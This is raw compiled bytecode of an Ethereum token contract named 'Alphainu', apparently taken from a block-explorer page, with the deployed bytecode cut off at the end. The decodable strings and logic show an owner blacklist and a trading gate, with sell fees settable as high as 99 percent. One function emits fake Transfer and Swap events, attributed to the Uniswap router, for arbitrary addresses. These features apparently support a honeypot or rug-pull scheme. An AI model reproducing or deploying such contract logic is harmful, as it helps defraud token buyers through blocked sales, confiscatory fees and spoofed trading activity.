00000000000000815260040161084090613879565b60405180910390fd5b60005b81518110156108da5760016010600084848151811061086e5761086d613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d2906138f7565b91505061084c565b5050565b60606040518060400160405280600981526020017f416c70686120696e750000000000000000000000000000000000000000000000815250905090565b600061092f610928611aa4565b8484611aac565b6001905092915050565b610941611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c590613879565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600080600090505b8551811015610c6157858181518110610a4557610a44613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610aae57610aad613899565b5b6020026020010151604051610ac391906133b7565b60405180910390a3858181518110610ade57610add613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b5b57610b5a613899565b5b6020026020010151600080898781518110610b7957610b78613899565b5b6020026020010151604051610b91949392919061397a565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610bc857610bc7613899565b5b602002602001015189878581518110610be457610be3613899565b5b60200260200101516040518463ffffffff1660e01b8152600401610c0a939291906139bf565b6020604051808303816000875af1158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d9190613a0b565b508080610c59906138f7565b915050610a29565b506001905095945050505050565b6000610c7c848484611c75565b610d3d84610c88611aa4565b610d38856040518060600160405280602881526020016143bb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cee611aa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f89092919063ffffffff16565b611aac565b600190509392505050565b60185481565b60006002905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d85611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0990613879565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e75611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990613879565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f60611aa4565b73ffffffffffffffffffffffffffffffffffffffff161480610fd65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fbe611aa4565b73ffffffffffffffffffffffffffffffffffffffff16145b610fdf57600080fd5b6000479050610fed8161255c565b50565b600061103a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c8565b9050919050565b611049611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd90613879565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61119c611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611229576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122090613879565b60405180910390fd5b8060168190555050565b61123b611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bf90613879565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600881526020017f416c706861696e75000000000000000000000000000000000000000000000000815250905090565b61137a611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fe90613879565b60405180910390fd5b8060188190555050565b600061142561141e611aa4565b8484611c75565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611490611aa4565b73ffffffffffffffffffffffffffffffffffffffff1614806115065750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114ee611aa4565b73ffffffffffffffffffffffffffffffffffffffff16145b61150f57600080fd5b600061151a30610ff0565b905061152581612636565b50565b611530611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490613879565b60405180910390fd5b60005b8383905081101561165c5781600560008686858181106115e3576115e2613899565b5b90506020020160208101906115f89190613618565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611654906138f7565b9150506115c0565b50505050565b61166a611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee90613879565b60405180910390fd5b601982856117059190613a38565b111561171057600080fd5b6063818461171e9190613a38565b111561172957600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183191906133b7565b60405180910390a3600190509392505050565b61184c611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d090613879565b60405180910390fd5b8060178190555050565b6118eb611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196f90613879565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119de90613ade565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1290613b70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8190613c02565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c6891906133b7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb90613c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4a90613d26565b60405180910390fd5b60008111611d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8d90613db8565b60405180910390fd5b611d9e611306565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e0c5750611ddc611306565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f757601560149054906101000a900460ff16611e9b57611e2d611306565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9190613e4a565b60405180910390fd5b5b601654811115611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed790613eb6565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f845750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fba90613f48565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612070576017548161202584610ff0565b61202f9190613a38565b1061206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690613fda565b60405180910390fd5b5b600061207b30610ff0565b90506000601854821015905060165482106120965760165491505b8080156120ae575060158054906101000a900460ff16155b80156121085750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121205750601560169054906101000a900460ff165b80156121765750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121cc5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f4576121da82612636565b600047905060008111156121f2576121f14761255c565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061229e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123515750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123505750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561235f57600090506124e6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561240a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242257600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124cd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124e557600a54600c81905550600b54600d819055505b5b6124f2848484846128ad565b50505050565b6000838311158290612540576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125379190613260565b60405180910390fd5b506000838561254f9190613ffa565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125c4573d6000803e3d6000fd5b5050565b600060065482111561260f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612606906140a0565b60405180910390fd5b60006126196128da565b905061262e818461290590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561266d5761266c612ff7565b5b60405190808252806020026020018201604052801561269b5781602001602082028036833780820191505090505b50905030816000815181106126b3576126b2613899565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561275a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061277e91906140d5565b8160018151811061279257612791613899565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127f930601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611aac565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161285d9594939291906141c0565b600060405180830381600087803b15801561287757600080fd5b505af115801561288b573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128bb576128ba61294f565b5b6128c684848461298c565b806128d4576128d3612b57565b5b50505050565b60008060006128e7612b6b565b915091506128fe818361290590919063ffffffff16565b9250505090565b600061294783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bca565b905092915050565b6000600c5414801561296357506000600d54145b61298a57600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061299e87612c2d565b9550955095509550955095506129fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cdf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612add81612d3d565b612ae78483612dfa565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b4491906133b7565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612b9f670de0b6b3a764000060065461290590919063ffffffff16565b821015612bbd57600654670de0b6b3a7640000935093505050612bc6565b81819350935050505b9091565b60008083118290612c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c089190613260565b60405180910390fd5b5060008385612c209190614249565b9050809150509392505050565b6000806000806000806000806000612c4a8a600c54600d54612e34565b9250925092506000612c5a6128da565b90506000806000612c6d8e878787612eca565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cd783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124f8565b905092915050565b6000808284612cee9190613a38565b905083811015612d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2a906142c6565b60405180910390fd5b8091505092915050565b6000612d476128da565b90506000612d5e8284612f5390919063ffffffff16565b9050612db281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cdf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e0f82600654612c9590919063ffffffff16565b600681905550612e2a81600754612cdf90919063ffffffff16565b6007819055505050565b600080600080612e606064612e52888a612f5390919063ffffffff16565b61290590919063ffffffff16565b90506000612e8a6064612e7c888b612f5390919063ffffffff16565b61290590919063ffffffff16565b90506000612eb382612ea5858c612c9590919063ffffffff16565b612c9590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee38589612f5390919063ffffffff16565b90506000612efa8689612f5390919063ffffffff16565b90506000612f118789612f5390919063ffffffff16565b90506000612f3a82612f2c8587612c9590919063ffffffff16565b612c9590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f655760009050612fc7565b60008284612f7391906142e6565b9050828482612f829190614249565b14612fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb99061439a565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61302f82612fe6565b810181811067ffffffffffffffff8211171561304e5761304d612ff7565b5b80604052505050565b6000613061612fcd565b905061306d8282613026565b919050565b600067ffffffffffffffff82111561308d5761308c612ff7565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130ce826130a3565b9050919050565b6130de816130c3565b81146130e957600080fd5b50565b6000813590506130fb816130d5565b92915050565b600061311461310f84613072565b613057565b905080838252602082019050602084028301858111156131375761313661309e565b5b835b81811015613160578061314c88826130ec565b845260208401935050602081019050613139565b5050509392505050565b600082601f83011261317f5761317e612fe1565b5b813561318f848260208601613101565b91505092915050565b6000602082840312156131ae576131ad612fd7565b5b600082013567ffffffffffffffff8111156131cc576131cb612fdc565b5b6131d88482850161316a565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561321b578082015181840152602081019050613200565b60008484015250505050565b6000613232826131e1565b61323c81856131ec565b935061324c8185602086016131fd565b61325581612fe6565b840191505092915050565b6000602082019050818103600083015261327a8184613227565b905092915050565b6000819050919050565b61329581613282565b81146132a057600080fd5b50565b6000813590506132b28161328c565b92915050565b600080604083850312156132cf576132ce612fd7565b5b60006132dd858286016130ec565b92505060206132ee858286016132a3565b9150509250929050565b60008115159050919050565b61330d816132f8565b82525050565b60006020820190506133286000830184613304565b92915050565b6000819050919050565b600061335361334e613349846130a3565b61332e565b6130a3565b9050919050565b600061336582613338565b9050919050565b60006133778261335a565b9050919050565b6133878161336c565b82525050565b60006020820190506133a2600083018461337e565b92915050565b6133b181613282565b82525050565b60006020820190506133cc60008301846133a8565b92915050565b600067ffffffffffffffff8211156133ed576133ec612ff7565b5b602082029050602081019050919050565b600061341161340c846133d2565b613057565b905080838252602082019050602084028301858111156134345761343361309e565b5b835b8181101561345d578061344988826132a3565b845260208401935050602081019050613436565b5050509392505050565b600082601f83011261347c5761347b612fe1565b5b813561348c8482602086016133fe565b91505092915050565b600080600080600060a086880312156134b1576134b0612fd7565b5b60006134bf888289016130ec565b955050602086013567ffffffffffffffff8111156134e0576134df612fdc565b5b6134ec8882890161316a565b945050604086013567ffffffffffffffff81111561350d5761350c612fdc565b5b61351988828901613467565b935050606086013567ffffffffffffffff81111561353a57613539612fdc565b5b61354688828901613467565b9250506080613557888289016130ec565b9150509295509295909350565b60008060006060848603121561357d5761357c612fd7565b5b600061358b868287016130ec565b935050602061359c868287016130ec565b92505060406135ad868287016132a3565b9150509250925092565b600060ff82169050919050565b6135cd816135b7565b82525050565b60006020820190506135e860008301846135c4565b92915050565b6135f7816130c3565b82525050565b600060208201905061361260008301846135ee565b92915050565b60006020828403121561362e5761362d612fd7565b5b600061363c848285016130ec565b91505092915050565b61364e816132f8565b811461365957600080fd5b50565b60008135905061366b81613645565b92915050565b60006020828403121561368757613686612fd7565b5b60006136958482850161365c565b91505092915050565b6000602082840312156136b4576136b3612fd7565b5b60006136c2848285016132a3565b91505092915050565b600080fd5b60008083601f8401126136e6576136e5612fe1565b5b8235905067ffffffffffffffff811115613703576137026136cb565b5b60208301915083602082028301111561371f5761371e61309e565b5b9250929050565b60008060006040848603121561373f5761373e612fd7565b5b600084013567ffffffffffffffff81111561375d5761375c612fdc565b5b613769868287016136d0565b9350935050602061377c8682870161365c565b9150509250925092565b600080600080608085870312156137a05761379f612fd7565b5b60006137ae878288016132a3565b94505060206137bf878288016132a3565b93505060406137d0878288016132a3565b92505060606137e1878288016132a3565b91505092959194509250565b6000806040838503121561380457613803612fd7565b5b6000613812858286016130ec565b9250506020613823858286016130ec565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138636020836131ec565b915061386e8261382d565b602082019050919050565b6000602082019050818103600083015261389281613856565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390282613282565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613934576139336138c8565b5b600182019050919050565b6000819050919050565b600061396461395f61395a8461393f565b61332e565b613282565b9050919050565b61397481613949565b82525050565b600060808201905061398f60008301876133a8565b61399c602083018661396b565b6139a9604083018561396b565b6139b660608301846133a8565b95945050505050565b60006060820190506139d460008301866135ee565b6139e160208301856135ee565b6139ee60408301846133a8565b949350505050565b600081519050613a0581613645565b92915050565b600060208284031215613a2157613a20612fd7565b5b6000613a2f848285016139f6565b91505092915050565b6000613a4382613282565b9150613a4e83613282565b9250828201905080821115613a6657613a656138c8565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613ac86026836131ec565b9150613ad382613a6c565b604082019050919050565b60006020820190508181036000830152613af781613abb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b5a6024836131ec565b9150613b6582613afe565b604082019050919050565b60006020820190508181036000830152613b8981613b4d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bec6022836131ec565b9150613bf782613b90565b604082019050919050565b60006020820190508181036000830152613c1b81613bdf565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613c7e6025836131ec565b9150613c8982613c22565b604082019050919050565b60006020820190508181036000830152613cad81613c71565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d106023836131ec565b9150613d1b82613cb4565b604082019050919050565b60006020820190508181036000830152613d3f81613d03565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613da26029836131ec565b9150613dad82613d46565b604082019050919050565b60006020820190508181036000830152613dd181613d95565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613e34603f836131ec565b9150613e3f82613dd8565b604082019050919050565b60006020820190508181036000830152613e6381613e27565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613ea0601c836131ec565b9150613eab82613e6a565b602082019050919050565b60006020820190508181036000830152613ecf81613e93565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613f326023836131ec565b9150613f3d82613ed6565b604082019050919050565b60006020820190508181036000830152613f6181613f25565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613fc46023836131ec565b9150613fcf82613f68565b604082019050919050565b60006020820190508181036000830152613ff381613fb7565b9050919050565b600061400582613282565b915061401083613282565b9250828203905081811115614028576140276138c8565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061408a602a836131ec565b91506140958261402e565b604082019050919050565b600060208201905081810360008301526140b98161407d565b9050919050565b6000815190506140cf816130d5565b92915050565b6000602082840312156140eb576140ea612fd7565b5b60006140f9848285016140c0565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614137816130c3565b82525050565b6000614149838361412e565b60208301905092915050565b6000602082019050919050565b600061416d82614102565b614177818561410d565b93506141828361411e565b8060005b838110156141b357815161419a888261413d565b97506141a583614155565b925050600181019050614186565b5085935050505092915050565b600060a0820190506141d560008301886133a8565b6141e2602083018761396b565b81810360408301526141f48186614162565b905061420360608301856135ee565b61421060808301846133a8565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061425482613282565b915061425f83613282565b92508261426f5761426e61421a565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006142b0601b836131ec565b91506142bb8261427a565b602082019050919050565b600060208201905081810360008301526142df816142a3565b9050919050565b60006142f182613282565b91506142fc83613282565b925082820261430a81613282565b91508282048414831517614321576143206138c8565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006143846021836131ec565b915061438f82614328565b604082019050919050565b600060208201905081810360008301526143b381614377565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122011c08d64e355a22e9c52eb3c3f38e2ac8767015ae0a9add8d6930f05be19327364736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101f15760003560e01c806374010ece1161010d578063a9059cbb116100a0578063c6616ba11161006f578063c6616ba1146106bf578063dd62ed3e146106e8578063e156b1b614610725578063ea1644d514610762578063f2fde38b1461078b576101f8565b8063a9059cbb14610605578063bfd7928414610642578063c3c8cd801461067f578063c492f04614610696576101f8565b80638da5cb5b116100dc5780638da5cb5b1461055b5780638f9a55c01461058657806395d89b41146105b157806398a5c315146105dc576101f8565b806374010ece146104b3578063751039fc146104dc5780637d1db4a5146104f35780637f2feddc1461051e576101f8565b80632fd689e3116101855780636d8aa8f8116101545780636d8aa8f81461041f5780636fc3eaec1461044857806370a082311461045f578063715018a61461049c576101f8565b80632fd689e314610375578063313ce567146103a057806349bd5a5e146103cb5780636b999053146103f6576101f8565b80631694505e116101c15780631694505e146102a557806318160ddd146102d05780631ae1ffbc146102fb57806323b872dd14610338576101f8565b8062b8cf2a146101fd57806306fdde0314610226578063095ea7b3146102515780630bd05b691461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f9190613198565b6107b4565b005b34801561023257600080fd5b5061023b6108de565b6040516102489190613260565b60405180910390f35b34801561025d57600080fd5b50610278600480360381019061027391906132b8565b61091b565b6040516102859190613313565b60405180910390f35b34801561029a57600080fd5b506102a3610939565b005b3480156102b157600080fd5b506102ba6109eb565b6040516102c7919061338d565b60405180910390f35b3480156102dc57600080fd5b506102e5610a11565b6040516102f291906133b7565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d9190613495565b610a21565b60405161032f9190613313565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a9190613564565b610c6f565b60405161036c9190613313565b60405180910390f35b34801561038157600080fd5b5061038a610d48565b60405161039791906133b7565b60405180910390f35b3480156103ac57600080fd5b506103b5610d4e565b6040516103c291906135d3565b60405180910390f35b3480156103d757600080fd5b506103e0610d57565b6040516103ed91906135fd565b60405180910390f35b34801561040257600080fd5b5061041d60048036038101906104189190613618565b610d7d565b005b34801561042b57600080fd5b5061044660048036038101906104419190613671565b610e6d565b005b34801561045457600080fd5b5061045d610f1f565b005b34801561046b57600080fd5b5061048660048036038101906104819190613618565b610ff0565b60405161049391906133b7565b60405180910390f35b3480156104a857600080fd5b506104b1611041565b005b3480156104bf57600080fd5b506104da60048036038101906104d5919061369e565b611194565b005b3480156104e857600080fd5b506104f161